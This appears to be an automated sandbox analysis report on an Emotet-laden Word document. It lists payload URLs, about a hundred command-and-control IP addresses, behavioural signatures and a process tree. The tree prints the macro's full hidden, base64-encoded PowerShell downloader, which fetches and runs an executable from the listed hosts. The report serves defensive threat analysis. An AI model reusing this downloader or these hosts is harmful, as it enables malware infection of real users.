Analysis
-
max time kernel
129s -
resource
win10v191014 -
submitted
09-12-2019 14:55
Task
task1
Sample
Docs_9d7f3caa367ce2f658699461660b4254.16.doc
Resource
win7v191014
General
Malware Config
Extracted
http://www.alfalah-ent.com/cms/a7rwpyxb9-k33-1101120868/
https://raasset.com/x/crHctWU/
http://alexandrearealty.com/tmp/OyjFYg/
http://mehuaedxb.com/css/qIkFIs/
http://mosaiclabel.com/4f9xnykaf/amz4jg4-x3i-459569728/
Extracted
emotet
24.27.122.202:80
67.171.182.231:80
190.171.135.235:80
103.9.145.19:8080
46.105.128.215:8080
172.105.213.30:80
69.30.205.162:7080
115.179.91.58:80
181.44.166.242:80
78.46.87.133:8080
81.213.145.45:443
83.156.88.159:80
210.111.160.220:80
195.191.107.67:80
192.241.220.183:8080
1.32.54.12:8080
192.161.190.171:8080
190.189.79.73:80
122.11.164.183:80
41.77.74.214:443
212.129.14.27:8080
162.144.46.90:8080
142.93.87.198:8080
201.196.15.79:990
83.110.107.243:443
77.245.12.212:80
211.218.105.101:80
187.250.92.82:80
193.33.38.208:443
85.109.190.235:443
192.210.217.94:8080
200.71.112.158:53
190.161.67.63:80
186.66.224.182:990
152.169.32.143:8080
41.218.118.66:80
45.129.121.222:443
72.69.99.47:80
85.105.183.228:443
191.100.24.201:50000
23.253.207.142:8080
216.75.37.196:8080
95.216.212.157:8080
113.52.135.33:7080
212.112.113.235:80
190.5.162.204:80
83.99.211.160:80
86.6.123.109:80
110.142.161.90:80
172.90.70.168:443
89.215.225.15:80
98.15.140.226:80
5.189.148.98:8080
187.233.220.93:443
188.230.134.205:80
181.47.235.26:993
82.79.244.92:80
189.61.200.9:443
221.154.59.110:80
67.254.196.78:443
210.224.65.117:80
198.57.217.170:8080
201.183.251.100:80
177.103.201.23:80
46.105.131.68:8080
192.163.221.191:8080
46.17.6.116:8080
81.82.247.216:80
178.134.1.238:80
176.58.93.123:80
181.197.108.171:443
187.177.155.123:990
190.101.87.170:80
186.215.101.106:80
119.159.150.176:443
174.57.150.13:8080
58.93.151.148:80
37.59.24.25:8080
91.117.31.181:80
95.216.207.86:7080
123.142.37.165:80
182.176.116.139:995
103.122.75.218:80
78.186.102.195:80
124.150.175.129:8080
143.95.101.72:8080
51.38.134.203:8080
138.197.140.163:8080
172.104.70.207:8080
189.225.211.171:443
124.150.175.133:80
24.28.178.71:80
60.53.3.153:8080
72.27.212.209:8080
163.172.97.112:8080
50.116.78.109:8080
Signatures
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Processes:
description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE938.exe938.exetexaswow.exetexaswow.exepid process 4880 WINWORD.EXE 3764 938.exe 4292 938.exe 776 texaswow.exe 4764 texaswow.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
SppExtComObj.exePowershell.exe938.exetexaswow.exedescription pid process target process PID 4012 wrote to memory of 4396 4012 SppExtComObj.exe SLUI.exe PID 4604 wrote to memory of 3764 4604 Powershell.exe 938.exe PID 3764 wrote to memory of 4292 3764 938.exe 938.exe PID 776 wrote to memory of 4764 776 texaswow.exe texaswow.exe -
Executes dropped EXE 4 IoCs
Processes:
938.exe938.exetexaswow.exetexaswow.exepid process 3764 938.exe 4292 938.exe 776 texaswow.exe 4764 texaswow.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exetexaswow.exepid process 4604 Powershell.exe 4764 texaswow.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
938.exetexaswow.exepid process 4292 938.exe 4764 texaswow.exe -
Drops file in Windows directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe -
Drops file in System32 directory 6 IoCs
Processes:
938.exetexaswow.exedescription ioc process File renamed C:\Users\Admin\938.exe => C:\Windows\SysWOW64\texaswow.exe 938.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat texaswow.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 texaswow.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE texaswow.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies texaswow.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 texaswow.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4880 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4880 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4604 Powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_9d7f3caa367ce2f658699461660b4254.16.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABJAGwAdwB3AGsAZwBiAHIAcgA9ACcATQBsAHkAZABmAHQAcQBxAGgAJwA7ACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACAAPQAgACcAOQAzADgAJwA7ACQASQBvAGkAZgBiAHgAZAB6AGoAdQB2AGYAPQAnAE0AYwByAHQAeABiAGkAbgBpAHEAZgBuACcAOwAkAFkAYwBvAGQAbwBqAG4AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACsAJwAuAGUAeABlACcAOwAkAFMAYwB3AGkAdQByAG4AaQBjAGIAYQA9ACcAQgB3AHIAcQBzAGwAbgBoAG4AeQBvACcAOwAkAE0AbABtAGcAZgB1AHAAbwB4AGUAdQBwAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAGkARQBuAHQAOwAkAEkAaABrAG8AbQBoAHQAYwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAbABmAGEAbABhAGgALQBlAG4AdAAuAGMAbwBtAC8AYwBtAHMALwBhADcAcgB3AHAAeQB4AGIAOQAtAGsAMwAzAC0AMQAxADAAMQAxADIAMAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAHIAYQBhAHMAcwBlAHQALgBjAG8AbQAvAHgALwBjAHIASABjAHQAVwBVAC8AKgBoAHQAdABwADoALwAvAGEAbABlAHgAYQBuAGQAcgBlAGEAcgBlAGEAbAB0AHkALgBjAG8AbQAvAHQAbQBwAC8ATwB5AGoARgBZAGcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGgAdQBhAGUAZAB4AGIALgBjAG8AbQAvAGMAcwBzAC8AcQBJAGsARgBJAHMALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHMAYQBpAGMAbABhAGIAZQBsAC4AYwBvAG0ALwA0AGYAOQB4AG4AeQBrAGEAZgAvAGEAbQB6ADQAagBnADQALQB4ADMAaQAtADQANQA5ADUANgA5ADcAMgA4AC8AJwAuACIAUwBQAGAATABJAFQAIgAoACcAKgAnACkAOwAkAE0AdQBnAHIAegBuAGoAbwBnAGcAPQAnAEwAYgBkAGUAYQBxAHMAZABtAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbgBnAGQAYgBpAGsAagBzAHEAbAAgAGkAbgAgACQASQBoAGsAbwBtAGgAdABjACkAewB0AHIAeQB7ACQATQBsAG0AZwBmAHUAcABvAHgAZQB1AHAAdQAuACIAZABPAHcAbgBMAGAATwBgAEEAZABmAGAASQBMAEUAIgAoACQAQwBuAGcAZABiAGkAawBqAHMAcQBsACwAIAAkAFkAYwBvAGQAbwBqAG4AeQApADsAJABBAG4AYwB6AGgAZQBkAGkAaQBpAGUAPQAnAEsAYgBuAGsAYQB1AHAAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAYwBvAGQAbwBqAG4AeQApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADIAMgA5ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAFIAdAAiACgAJABZAGMAbwBkAG8AagBuAHkAKQA7ACQASgBjAG4AaAB2AHcAegBmAGQAcAA9ACcATABrAGgAYwBkAHEAZQBkAHcAawAnADsAYgByAGUAYQBrADsAJABQAGYAdABtAGwAYgB4AHcAZwBzAHAAPQAnAFcAbQBsAGkAeQBwAG0AcwBwAGIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGMAegBkAG4AegBhAHgAcgBxAGQAbgA9ACcAUgB2AGYAdAB1AGIAbABnACcA1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\938.exe"C:\Users\Admin\938.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
-
C:\Users\Admin\938.exe--1d0cddc3⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵
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C:\Windows\SysWOW64\texaswow.exe"C:\Windows\SysWOW64\texaswow.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
-
C:\Windows\SysWOW64\texaswow.exe--ed2c7af82⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\938.exe
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C:\Users\Admin\938.exe
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C:\Users\Admin\938.exe
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C:\Windows\SysWOW64\texaswow.exe
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C:\Windows\SysWOW64\texaswow.exe
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memory/776-16-0x0000000000D90000-0x0000000000DA7000-memory.dmpFilesize
92KB
-
memory/3764-9-0x00000000022D0000-0x00000000022E7000-memory.dmpFilesize
92KB
-
memory/4292-11-0x0000000002230000-0x0000000002247000-memory.dmpFilesize
92KB
-
memory/4292-12-0x0000000000400000-0x00000000004A2000-memory.dmpFilesize
648KB
-
memory/4764-18-0x00000000007B0000-0x00000000007C7000-memory.dmpFilesize
92KB
-
memory/4764-19-0x0000000000400000-0x00000000004A2000-memory.dmpFilesize
648KB